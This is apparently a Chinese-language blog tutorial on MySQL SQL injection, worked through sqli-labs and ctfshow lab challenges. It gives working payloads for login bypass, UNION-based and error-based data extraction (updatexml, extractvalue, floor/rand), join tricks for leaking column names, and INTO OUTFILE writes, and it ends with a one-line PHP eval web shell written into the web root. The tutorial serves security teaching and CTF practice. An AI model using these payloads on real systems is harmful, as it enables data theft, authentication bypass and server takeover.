目录

  1. 1. 前言
  2. 2. MySQL基本语法
  3. 3. Sql注入原理
  4. 4. 注入位置
  5. 5. 注入类型
  6. 6. 万能密码
  7. 7. 联合查询注入
    1. 7.1. sqli-labs less-1(字符型)
      1. 7.1.1. 注入点判断
      2. 7.1.2. 判断回显列数
      3. 7.1.3. 判断前端回显位
      4. 7.1.4. 查询数据库名
      5. 7.1.5. 查询数据库中的表名
      6. 7.1.6. 查表中的列名
      7. 7.1.7. 查相应字段的值
    2. 7.2. sqli-labs less-11(POST)
    3. 7.3. sqli-labs less-2(数字型)
    4. 7.4. sqli-labs less-3&4&12(更多闭合类型)
    5. 7.5. 无列名联合注入
  8. 8. 报错注入
    1. 8.1. 数据库报错
    2. 8.2. updatexml
      1. 8.2.1. sqli-labs less-5&6
      2. 8.2.2. ctfshow web244
    3. 8.3. extractvalue
      1. 8.3.1. ctfshow web245
    4. 8.4. group by / floor注入
      1. 8.4.1. 相关函数
      2. 8.4.2. 报错分析
      3. 8.4.3. ctfshow web246
    5. 8.5. join 无列名注入
      1. 8.5.1. 字段名
      2. 8.5.2. 表名
      3. 8.5.3. 库名
  9. 9. MySQL 文件操作
    1. 9.1. 导出数据到文件
      1. 9.1.1. 查询结果写文件带外
        1. 9.1.1.1. sqli-labs less-7
      2. 9.1.2. getshell
    2. 9.2. UDF注入
      1. 9.2.1. ctfshow web248
  10. 10. 盲注
    1. 10.1. 布尔盲注
      1. 10.1.1. 相关函数
      2. 10.1.2. 判断回显
      3. 10.1.3. sqli-labs less-8
    2. 10.2. 时间盲注
      1. 10.2.1. sqli-labs less-9&10
  11. 11. 二次注入
    1. 11.1. sqli-labs less-24
  12. 12. 宽字节注入
    1. 12.1. sqli-labs less-32
  13. 13. 堆叠注入
    1. 13.1. 修改
    2. 13.2. 预处理
  14. 14. Sqlmap一把梭
  15. 15. insert注入
  16. 16. update注入
  17. 17. delete注入
  18. 18. limit注入
    1. 18.1. 联合查询法
    2. 18.2. procedure analyse()函数
    3. 18.3. 报错注入法
    4. 18.4. 时间注入法
  19. 19. finfo文件注入
    1. 19.1. finfo类
  20. 20. file注入
    1. 20.1. .user.ini和短标签绕过
  21. 21. quine注入
  22. 22. 限制绕过
    1. 22.1. 位数长度不足
    2. 22.2. 输入过滤
  23. 23. 防御

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

MySQL注入 Re:Master

2023/3/16 Web Sql
  |     |   总文章阅读量:

前言

重制中…

基于 ctfshow 上的 sqli-labs 再出发

环境:Mysql 5.7.26 + Navicat

参考:

https://blog.csdn.net/qq_44159028/article/details/114325805

https://github.com/ning1022/SQLInjectionWiki

https://www.sqlsec.com/2020/05/sqlilabs.html

https://www.freebuf.com/articles/web/426188.html

https://www.cnblogs.com/mr-ryan/p/17687652.html

https://blog.csdn.net/weixin_49150931/article/details/111829828


MySQL基本语法

https://c1oudfl0w0.github.io/blog/2023/05/05/SQL语法/

information_schema库

在MySQL 5.0版本之后,MySQL默认在数据库中存放一个名为 information_schema 的数据库,其中有三个表:

  • SCHEMATA 表:存储该用户创建的所有数据库的库名,该表中记录数据库库名的字段名为 SCHEMA_NAME

    image-20250414194130915

  • TABLES 表:存储该用户创建的所有数据库的库名和表名,记录数据库库名和表名的字段名分别为 TABLE_SCHEMA 和 TABLE_NAME

    image-20250414194642480

  • COLUMNS 表:存储该用户创建的所有数据库的库名、表名和字段名,该表中记录数据库库名、表名和字段名的字段名分别为TABLE_ SCHEMA、TABLE_NAME和COLUMN_NAME

    image-20250414194805123

基础 select 查询语句

以这样的一个表为例

image-20250318202417482

通过查询 mysql.innodb_table_stats 获取所有的数据库

select database_name from mysql.innodb_table_stats;

image-20250318200339106

也可以查询 information_schema.SCHEMA_NAME 获取:

select SCHEMA_NAME from information_schema.SCHEMATA;

通常对后端数据库查询,返回到服务器的都是第一行的结果,为了让所有的查询结果都在第一行,需要使用group_concat函数

select group_concat(database_name) from mysql.innodb_table_stats;

image-20250318200656467

查当前数据库名

select database();

image-20250318195443038

查表名,table_schema 可以指定数据库

select group_concat(table_name) from information_schema.tables where table_schema=database();/'数据库名'

image-20250318195504311

有 t_book , t_user 两个表

查 t_book 下的列名

select group_concat(column_name) from information_schema.columns where table_name='t_book'

image-20250318195938371

查 t_book 表 bookname 列的字段,注意这里的列名和表名都不能用单/双引号括起来,会被识别为普通字符串而非表名/列名,不过反引号不影响

select group_concat(bookname) from t_book;

image-20250318200021163

mysql注释符

  • -- :web端注入时传入的一般是--+,这里的 + 代指空格,通常 url 解码时会直接把 + 解码为空格

  • #:注意,# 在 get 请求中有特殊含义,get 请求传入时需要 url 编码

mysql函数:除了 database() 以外,还有一些常用的函数

  • VERSION():返回当前 MySQL 服务器的版本信息

  • USER():返回当前 MySQL 会话中登录用户的信息,包括用户名和主机名


Sql注入原理

以 PHP 服务器为例,与数据库的交互的 PHP 代码大致如下:

// 拼接sql语句指定账密查找用户
$sql = "select username,password from table_name where username = '".$_GET['name']."' and password = '".$_GET['pass']."' limit 1;";

这里的 limit 1 是返回查询的第一行的意思

image-20250318202322360

image-20250318202335158

我们知道,任何语言的引号都必须是成对出现的,name 参数前拼接的 sql 语句是 select username,password from table_name where username = '

而我们可以在 name 和 pass 两个参数这里随意传入字符串,也就是说,如果我们在 name 或 pass 参数(这里以 name 参数为例,pass 参数放着不管)传入一个 '# 时,这里的 sql 语句就会变成

select username,password from table_name where username = ''#' and password = '' limit 1;

此时前两个单引号成对,后面的语句被 # 注释掉,实际执行的 sql 语句就变成了

select username,password from table_name where username = ''

注入位置

从渗透的角度来看,可能存在的注入点通常是在登录、注册处

或者一些查询系统(如图书查询系统)的查询参数上


注入类型

  • 数字型注入:

    $sql = "select username,password from table_name where username = ".$_GET['name']." and password = ".$_GET['pass']." limit 1;";

    这里的 sql 语句没用到引号闭合参数传入的内容,可以直接填入数字并注释后文实现注入:1#

    如果想传入字符串的话需要先转换为16进制再传入

    image-20250318204831586

  • 字符型注入:当输入的参数有引号闭合从而当作字符串处理时,称为字符型注入

    $sql = "select username,password from table_name where username = '".$_GET['name']."' and password = '".$_GET['pass']."' limit 1;";
    
    $sql = 'select username,password from table_name where username = "'.$_GET['name'].'" and password = "'.$_GET['pass'].'" limit 1;';

    此时的注入方式就是 1'#1"#

  • 搜索型注入:

    $sql = "select * from user where password like '%$pwd%' order by password";

    基于用户输入的 pwd 在 user 表中模糊匹配可能的的 password

    image-20250414195758209

    如果 pwd 输入

    %'and 1=1 and '%'='

    此时的sql语句如下:

    image-20250414200235418

    返回全部内容,把 1=1 改为 1=2 后发现不回显任何内容,说明存在注入


万能密码

光注入不行,还要能构成正确的语句并返回结果,第一个要学的就是万能密码

原理:利用闭合,使 sql 语句永真

对于以下代码:

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."';";

字符型注入点在 id 参数上,尝试以下payload:

'or 1 = 1#
'or'1'='1
1'or'1'='1'#

此时的sql语句分别如下:

select username,password from user where username !='flag' and id = '' or 1=1#';
select username,password from user where username !='flag' and id = '' or '1'='1';
select username,password from user where username !='flag' and id = '' or '1'='1'#';

以第一句为例,因为 and 的执行优先级 > or,所以整个 sql 语句可以看成两个部分:select username,password from user where username !='flag' and id = ''1=1,此时两侧的结果分别为 False 和 True,而False or True = True,所以实现永真


md5加密下的万能密码:

对于下面的代码

$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";

可以使用 ffifdyop 绕过:

因为数据库会把16进制转为 ascii 解释,而md5(ffifdyop)的结果为276f722736c95d99e921722cf9ed621c,会返回成一个16进制字符串,这个字符串16进制转换后的结果为'or'6É].é!r,ùíb.,此时就提供了我们需要的'or'字符串,实现了闭合,且后面的字符串将被视为 true,此时整个sql语句为

SELECT * FROM admin WHERE username = 'admin' and password = ''or'字符串'

语句永真

同样效果的还有:

129581926211651571912466741651878684928

联合查询注入

UNION 函数:在 MySQL 中,UNION 用于将两个或多个 SELECT 查询的结果组合为一个结果集

SELECT column1, column2, ... FROM table1 WHERE condition
UNION
SELECT column1, column2, ... FROM table2 WHERE condition;

image-20250414201139799

对于这样的代码:

$sql = "SELECT * FROM user WHERE username = 'admin' and password = '".$password,."'";

union select column_name,column_name from table_name where column_name='flag'

通过 union 联合注入,我们可以把前面查询的结果和后面合并在一起,从而可控返回的内容

SELECT * FROM user WHERE username = 'admin' and password = '1'
union select * from user where username = 'admin'

image-20250414202012356

image-20250414201954557


sqli-labs less-1(字符型)

在线环境是 ctfshow web517

以这题为例,过一遍黑盒情况下字符型注入的流程

image-20250414215347609

注入点判断

这里提供一个 ID 参数,要求输入类型是数字,尝试传入 id=1

image-20250414215632262

成功回显数据库的内容,但我们怎么可能真的只会传数字呢,尝试传入 1'1" 判断测试闭合类型

image-20250414215815998

image-20250414215830359

可以看到只有在输入 1' 时会产生语法报错:near ''1'' LIMIT 0,1' at line 1

此时的部分 sql 语句是:'1'' LIMIT 0,1

可以证明此处存在字符型注入

判断回显列数

在白盒审计的情况下,我们可以通过对代码的分析看出后端回显查询结果的哪几列到前端给用户查看,即回显位

如下示例代码:

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

......

while( $row = mysqli_fetch_assoc( $result ) ) {
$first = $row["first_name"]; 
$last  = $row["last_name"]; 
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

从数据库中查询了 first_name 和 last_name 这 2 列数据,并且 2 列都回显到了前端


而在黑盒下,我们需要使用 order by 子句判断回显的列数

ORDER BY 是 SQL 中用于对查询结果进行排序的子句,它按照指定的列对结果进行 升序(ASC)降序(DESC)排序。
列可以通过名称(如 column_name)或位置(如 1、2 表示第一列、第二列)指定,如果指定的列不存在,数据库会抛出错误。

SELECT column1, column2, ... FROM table1 WHERE condition ORDER BY column1;
SELECT id, username, password FROM user ORDER BY 1;

image-20250414221748479

此时指定第1列 id,默认升序排列

image-20250414222010842

这里只返回 id,username,password 三列,当我们试图以第 4 列进行排序时就会报错

由此可以利用这点判断后端语句查询了几列

payload:

1' order by 3 --+
1' order by 4 --+

image-20250414222206757

image-20250414222226236

由此可以判断这里只查询了 3 列

判断前端回显位

后端查询的是3列,但前端只返回了2列的结果,为了确定是哪两列,我们需要在注入的同时采用占位符进行测试

占位符是一种临时的、无实际业务意义的值,用于填充查询的某些位置,使其符合语法要求或满足特定的逻辑需要。
占位符的主要目的是为了确保 SQL 查询的结构完整性,特别是在不需要具体数据或暂时无法提供实际数据时。

image-20250414222551483

于是构造 payload

注意为了让前面查询的结果不影响到 union 后面查询的结果,通常需要让前面返回一个空值,这里直接传 -1 就行

-1' union select 1,2,3--+

image-20250414223253976

可以看出来第2列第3列会回显在页面上,那么接下来的查询就在第2列或第3列上进行查询

查询数据库名

直接用 database() 方法获取当前数据库名

-1' union select 1,database(),3--+

image-20250414223508453

当前数据库名是 security

查询数据库中的表名

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

image-20250414224635050

有 emails, referers, uagents, users 表,没找到 flag

猜测是数据库不对,用union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA查一下数据库(这里返回的是第一条数据库名,如果要查询所有的数据库要用group_concat(SCHEMA_NAME)

image-20250414230412380

发现数据库 ctfshow ,再查表

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'--+

image-20250414230511076

找到 flag 表

查表中的列名

因为不是当前数据库,这里查询需要带上 table_schema

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='ctfshow' and table_name='flag' --+

image-20250414230606017

有 id,flag 列

查相应字段的值

直接用 group_concat 查询多列

GROUP_CONCAT() 是一个 MySQL 聚合函数,用于将一个分组内的多行值连接成一个字符串。
它可以按照指定的分隔符或顺序对结果进行拼接。将多行合并为一行。

-1' union select 1,group_concat(id,'--',flag),3 from ctfshow.flag --+-1' union select (select group_concat(字段名) from 表名)--+

image-20250414230841173


sqli-labs less-11(POST)

ctfshow web527

传参采用 POST,通过报错回显 sql 语句'1'' and password='' LIMIT 0,1可知闭合方式是 1'

注意从前端表单框上直接传 + 不会被解析为空格,建议抓包或者直接传空格,也可以用 # 注释

测试登录进 admin 账户

image-20250416215117588

可知这里存在注入

1' order by 2#
1' order by 3#
-- 查询2列

-1' union select 1,2#
-- 返回1,2这2列

-1' union select 1,SCHEMA_NAME from information_schema.SCHEMATA#
-- 查询数据库名,这里得到ctfshow

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'#
-- 查询表名,这里得到flagugsd

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagugsd'#
-- 查询列名,这里得到id, flag43s

-1' union select 1,group_concat(id,'--',flag43s) from ctfshow.flagugsd#
-- 查询id, flag43s字段的值

sqli-labs less-2(数字型)

ctfshow web518

测试 1'1" 均会报错,1'时报错回显的部分sql语句是' LIMIT 0,1

和上面对比可知这里没有用引号闭合,应该是数字型注入

数字型的测试语句:

1 and 1=1--+
1 and 1=2--+

前者会正常回显 id=1 的内容,后者会导致查询结果为空,这里没有回显内容

image-20250415092040878

image-20250415092059489

那么按照流程进行注入即可

1 order by 3--+
1 order by 4--+
-- 此时产生报错,说明查询3列

-1 union select 1,2,3--+
-- 页面返回2,3,说明回显到前端的是第2列和第3列

-1 union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA--+
-- 查询数据库名,这里得到ctfshow

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'--+
-- 查询表名,这里得到flagaa

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='ctfshow' and table_name='flagaa'--+
-- 查询列名,这里得到id, flagac

-1 union select 1,group_concat(id,'--',flagac),3 from ctfshow.flagaa --+
-- 查询id, flagac字段的值

sqli-labs less-3&4&12(更多闭合类型)

less-3(ctfshow web519)

输入 1',报错返回的部分语句是'1'') LIMIT 0,1,说明闭合方式应该是')

1')order by 3--+
1')order by 4--+
-1') union select 1,2,3--+
-1') union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA--+
-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'--+
-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='ctfshow' and table_name='flagaanec'--+
-1') union select 1,group_concat(id,'--',flagaca),3 from ctfshow.flagaanec --+

less-4(ctfshow web520)

输入1",报错返回部分语句:"1"") LIMIT 0,1,闭合方式是"),和上面一样,打法不赘述了

-1") union select 1,group_concat(id,'--',flag23),3 from ctfshow.flagsf --+

less-12(ctfshow web528)POST传参,1")闭合

-1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'#
-1") union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagugsds'#
-1") union select 1,group_concat(id,'--',flag43as) from ctfshow.flagugsds#

无列名联合注入

https://web.archive.org/web/20220628010134/http://www.poluoluo.com/server/201706/547394.html

限制环境:存放 flag 的字段名未知,information_schema.columns 也将表名的 hex 过滤了,即获取不到字段名

已知查询的列数和表名,这里假设为3

用别名(select 1)a,(select 2)b,(select 3)c构造出一个表

select (select 1)a,(select 2)b,(select 3)c

image-20250416000504938

select * from (select 1)a,(select 2)b,(select 3)c

image-20250416001731484

此时这个表的列名就是1,2,3

通过联合查询,把别名表和目标表拼到一起

select * from (select 1)a,(select 2)b,(select 3)c union select * from user

image-20250416000524453

然后利用别名再把拼接后的表视为表 d,此时表 d 的列名就是 1,2,3,查询 d 表的 3 列

select d.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from user)d

image-20250416000700057

加上 limit 就能实现对单个记录的遍历

select d.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from user)d limit 3, 1

image-20250416001141008

再联合查询套一层别名子查询

select * from user where id=1 union select (select d.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from user)d limit 3, 1)e,(select 1)f,(select 1)g

image-20250416002101851

由此可以还原出 id=1 整行的内容


报错注入

数据库报错

在 PHP 中,mysqli_error()mysqli_connect_error() 是与 MySQL 数据库交互时用于获取错误信息的两个函数(PHP5 下还有mysql_error(),mysql 与 mysqli 的区别是连接是否持久,后者会提供永久连接的功能)

mysqli_error($link);
// 用于获取最近一次 MySQL 操作中发生的错误信息

mysqli_connect_error();
// 只与最近一次调用 mysqli_connect() 或 mysqli_real_connect() 时的连接错误相关

如果数据库的查询结果不会回显在前端,但是使用了 mysqli_error 会返回报错信息的函数,那么可以专门构造让 sql 出现报错的语句,在其中额外执行查询来实现获取信息

注:报错长度最长是32,所以要用substr或者substring或者not in等函数去截取

updatexml

用于修改XML字符串中与指定XPath表达式匹配的部分,并返回修改后的XML

SELECT UPDATEXML('<root><item>value</item></root>', '/root/item', 'new_value');

image-20250415102340547

这里 XPath 表达式 /root/item 匹配到了<root> 下的 <item> 节点,于是会将这个节点及其节点下的内容修改为 new_value

但是如果我们输入一个不符合 XPath 语法的表达式呢?

image-20250415103457032

可以看到这里会报错并带出第二个参数的信息

而 MYSQL 中支持子查询

在 MySQL 中,SELECT 子查询是一种嵌套查询技术,用于在一个查询中嵌套另一个查询。子查询可以作为主查询的一部分,提供数据以供主查询使用。子查询通常用于提高查询的灵活性和复杂性。

在 SELECT 子句中:子查询会返回一个值,然后用于主查询使用

image-20250415103956988

那么我们可以将子查询的结果和非 XPath 语法的字符用 concat 方法拼接在一起,然后放在 updatexml 方法的第二个参数,通过报错带出查询内容的回显

CONCAT() 是 MySQL 中的字符串函数,用于将两个或多个列的值拼接成一个字符串
返回结果为所有输入字符串的拼接结果

构造payload:

updatexml(1,concat('^',(需要查询的内容),'^'),1) --+

image-20250415104515025


sqli-labs less-5&6

ctfshow web521-522

本题中,参数 id 传入任何数字都会返回固定的字符串 You are in...........

但是 1' 依旧会正常报错'1'' LIMIT 0,1,说明是单引号闭合,那么尝试使用报错注入带出回显

  • 查数据库名:

    注意查询 SCHEMA_NAME 会返回多行结果,这里需要主动使用 limit 方法限制查询返回的记录数,也可以用groupp_concat(SCHEMA_NAME)把记录集中在一行,但是 updatexml 最多回显32个字符,所以还需要 substr 进行截取

    在 MySQL 中,LIMIT 关键字用于限制 SQL 查询结果集中返回的记录数,通常用于分页查询、大量数据的截取以及提高查询效率

    SELECT * FROM employees LIMIT 10, 5;
    -- 跳过前 10 条记录,从第 11 条记录开始,返回 5 条记录。第一个参数 10 是偏移量(可省略,省略时从第0条记录算起),第二个参数 5 是返回的记录数。

    构造 payload:

    1' and updatexml(1,concat(0x7e,(select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),0x7e),1)--+
    
    或
    1' and updatexml(1,concat(0x7e,substr((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),1,32),0x7e),1)--+

    image-20250415105539147

    数据库ctfshow

  • 查表名:

    1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)--+

    得到 flagpuck 表

  • 查列名:

    1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagpuck'),0x7e),1)--+

    得到 id, flag33 列

  • 查字段:

    1' and updatexml(1,concat(0x7e,substr((select group_concat(flag33) from ctfshow.flagpuck),1,32),0x7e),1)--+
    1' and updatexml(1,concat(0x7e,substr((select group_concat(flag33) from ctfshow.flagpuck),32,32),0x7e),1)--+

less-6 闭合方式为 1",其余不变

1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)--+

1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagpa'),0x7e),1)--+

1" and updatexml(1,concat(0x7e,substr((select group_concat(flag3a3) from ctfshow.flagpa),1,32),0x7e),1)--+
1" and updatexml(1,concat(0x7e,substr((select group_concat(flag3a3) from ctfshow.flagpa),32,32),0x7e),1)--+

ctfshow web244

查数据库名

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

image-20230819174515576

查表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

查列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e),1)--+

查字段

?id=1' and updatexml(1,concat(0x7e,(select flag from ctfshow_flag),0x7e),1)--+

截取

?id=1' and updatexml(1,concat(0x7e,substr((select flag from ctfshow_flag),32,20),0x7e),1)--+

extractvalue

对XML文档进行查询的函数,从目标XML中返回包含所查询值的字符串

extractvalue(目标xml文档,xml路径)

利用方法和 updatexml 类似,xml 路径部分会抛出完整的参数信息报错

image-20250415213403393

ctfshow web245

表名

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

列名

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa')))--+

字段

?id=1' and extractvalue(1,concat(0x7e,(select flag1 from ctfshow_flagsa)))--+

截取

?id=1' and extractvalue(1,concat(0x7e,(substr((select flag1 from ctfshow_flagsa),32,20))))--+

group by / floor注入

参考:

https://blog.csdn.net/qq_27130557/article/details/120902212

https://www.freebuf.com/column/235496.html

相关函数

  • group by

    GROUP BY 语句根据一个或多个列对结果集进行分组

    注:MySQL 5.7.5版本后需要用 set 重新设置 sql_mode 以去掉 ONLY_FULL_GROUP_BY 配置,详见:https://blog.csdn.net/u012660464/article/details/113977173

    -- set sql_mode = 'STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION';
    -- select @@sql_mode;
    select name as a,score as b from test group by a;

    此处 a,b 作为别名, as 可以缺省

    test 表:

    image-20250415225454834

    image-20250415225223669

    通过 group by 进行分组排序,结果会进行分组,a 列中相同 name 会进行合并,如果是 group by b 就是按相同 score 进行合并:

    image-20250415225656001

    合并的记录如果在其他列有不同的地方,按第一次出现的值合并,比如张三的 score 有 100 和 55,由于100 先出现,所以合并后的 b 列为 100

    工作流程:https://cloud.tencent.com/developer/article/1941787

    image-20250415234312091

    观察这两条查询语句的差别:

    select username,count(*) from user group by username;
    select username,count(*) from user group by "username";

    image-20250416222619566

    image-20250416222633052

    1. 第一条查询语句原因是由于 group by 在分组时,会依次取出查询表中的记录并创建一个临时表(表中有两个字段,分别是 key 和count(*)),group by 的对象就是该临时表的主键

      如果临时表中已经存在该主键,则count(*)的值+1,如果表中不存在则将主键插入到临时表中

    2. 第二条 group by 的对象是一个字符串 "username",对于字符串来说,group by 在进行分组时,会直接将该字符串当做主键插入到临时表中,如果临时表中存在该主键,则count(*)的值+1。

      轮到第二条数据时也是将该字符串当做主键插入到临时表,但此时临时表中已经存在该主键,则count(*)的值直接加1
      也就是说所有行会被分为同一个分组,无论它们的实际值如何

    对于第二种情况,很容易出现报错

    注意:

    group by key 在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算 rand 值


  • floor(rand(0)*2)

    rand(0),即种子设置为0,这样接下来产生的伪随机数都是固定的

    image-20250415230452871

    这里回显的记录数取决于 user 表的记录数

    然后rand(0)*2的话,很明显这个值的整数部分不是 0 就是 1

    floor函数可以取整,于是这样子会得到一个固定的 0,1 序列

    对于floor(rand(0)*2),产生的随机数前6位一定是 0 1 1 0 1 1

    concat(database(),floor(rand(0)*2)) 生成 database()+"0"database()+"1" 的数列,而前六位的顺序一定是

    database()+"0"
    database()+"1"
    database()+"1"
    database()+"0"
    database()+"1"
    database()+"1"

  • count(*)

    COUNT(*) 函数返回表中的记录数

    image-20250415232004938

    这里就是对a中的重复性的数据进行了整合,然后计数,后面的x就是每一类的数量,也就是说张三的数据有6个


报错分析

原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果

select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));

image-20250415233210744

报错具体过程:

  1. group by 建立临时表

  2. 取第一条记录,执行concat(database(),floor(rand(0)*2))(第一次执行),结果为database()+"0",查询临时表,发现database()+"0"这个主键不存在,则准备执行插入,此时又会再执行一次concat(database(),floor(rand(0)*2))(第二次执行),结果是database()+"1",然后将该值作为主键插入到临时表。(真正插入到临时表中的主键database()+"1",concat(database(),floor(rand(0)*2)) 执行了两次)

    操作 key concat(database(),floor(rand(0)*2)) count(*)
    取第一条记录 database()+”0”
    插入记录 database()+”1” database()+”1” 1
  3. 取第二条记录,执行concat(database(),floor(rand(0)2))(第三次执行),结果为database()+"1",查询临时表,发现该主键存在,count(*)的值加1

    操作 key concat(database(),floor(rand(0)*2)) count(*)
    取第一条记录 database()+”0”
    插入记录 database()+”1” database()+”1” 1
    取第二条记录,不用插入 database()+”1” database()+”1” 2
  4. 取第三条记录,执行concat(database(),floor(rand(0)*2))(第四次执行),结果为database()+"0",查询临时表发现该主键不存在,则准备执行插入动作,此时又会在执行一次concat(database(),floor(rand(0)*2))(第五次执行),结果是database()+"1",然后将该值作为主键插入到临时表。但由于临时表已经存在database()+"1"这个主键,就会爆出主键重复,同时也带出了数据库名

    可以看出来,出现报错的原因是因为要插入主键的数据产生变化导致的

    操作 key concat(database(),floor(rand(0)*2)) count(*)
    取第一条记录 database()+”0”
    插入记录 database()+”1” database()+”1” 1
    取第二条记录,不用插入 database()+”1” database()+”1” 2
    取第三条记录 database()+”0”
    不存在,插入记录 database()+”1”(已存在,主键必须唯一) database()+”1”

注:由以上过程可以发现,总共取了三条记录,所以表中的数据至少要为三条才可以注入成功

payload:

select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a;

注:floor(向下取整)某些情况下也可以替换成ceil(向上取整)


ctfshow web246

表名

注:这里不能用group_concat来合并查询结果而只能用limit,因为查询出来的内容不止一行

?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+

列名

?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+

字段

?id=1' union select 1,count(*),concat((select flag2 from ctfshow_flags),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+

join 无列名注入

参考文章:https://web.archive.org/web/20230923132952/http://www.wupco.cn/?p=4117

可以在过滤了 information_schema、columns、tables、database、schema 等关键字或函数的时候利用

字段名

常用的是 union 做法,但是如果 union 也被 ban 了呢,这个时候可以考虑用 join 函数

在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候查询到重复字段,就成功报错

select username from user where id=1 and (select * from (select * from user as a join user as b) as c);

image-20250416002522008

可以把当前表第一个字段成功爆出,这里是 id

同时利用 using 函数可以爆其他字段

在 join 连接中,仅针对同名字段,使用后会自动合并对应字段为一个,可同时使用多个字段作为条件

即这里使用using(id)后 id 就不会出现重复了,也就不会报错

select username from user where id=1 and (select * from (select * from user as a join user as b using(id,username)) as c);

image-20250416002702805


表名

Polygon函数

Polygon从多个LineString或WKB LineString参数 构造一个值 。如果任何参数不表示LinearRing(也就是说,不是一个封闭和简单的LineString),返回值就是NULL

select polygon((select database()))

如果传参不是 linestring 的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列

疑似有版本限制


库名

一个库中存在不同的系统或自定义函数,如果函数不存在,他就会爆出这个库没有此函数

select * from user where id =1-a();

image-20250416003215661


MySQL 文件操作

导出数据到文件

SELECT...INTO OUTFILE 允许你将查询的结果写入一个文本文件

查看相关配置

show global variables like '%secure%'

image-20250416113935503

select @@secure_file_priv

image-20250416114026850

  • 当 secure_file_priv 的值为 null ,表示限制 mysql 不允许导入 | 导出
  • 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysql 的导入 | 导出只能发生在 /tmp/ 目录下
  • 当 secure_file_priv 的值为 时,表示不对 mysql 的导入 | 导出做限制

查询结果写文件带外

实用性不强,都能写文件了,在 PHP/JSP 下就能随便写 shell 了,不过在 python,nodejs 这种环境下还是有说法的

sqli-labs less-7

ctfshow web523

本题中,参数 id 传入任何数字返回固定的字符串 You are in.... Use outfile......,如果构造闭合产生报错也只回显 You have an error in your SQL syntax

这里既然让我们 use outfile,那么就尝试写文件把查询结果带外

首先,经过测试,在传入1'))--+时不会产生报错的回显,可知闭合方式为1'))(不过要测出来这种闭合还是要花点时间的,这里是直接看了下sqli-labs的源码才知道的)

查数据库,有必要的话可以先用盲注语句测试是否有配置 secure_file_priv

-1')) union select 1,if(substr(@@secure_file_priv,1,13)!='/var/www/html',0,sleep(5)),3--+

-1')) union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA into outfile '/var/www/html/1.txt'--+

后者执行后会回显报错语句,但是不影响写入

image-20250416170349897

查表名

-1')) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow' into outfile '/var/www/html/2.txt'--+

访问 2.txt 得到表 flagdk

查列名

-1')) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='ctfshow' and table_name="flagdk" into outfile '/var/www/html/3.txt'--+

访问 3.txt 得到列 id,flag43

查字段

-1')) union select 1,group_concat(id,'--',flag43),3 from ctfshow.flagdk into outfile '/var/www/html/4.txt'--+

访问 4.txt 得到 flag


getshell

payload:

select '<?php eval($_POST[0]);' into outfile '/var/www/html/shell.php'

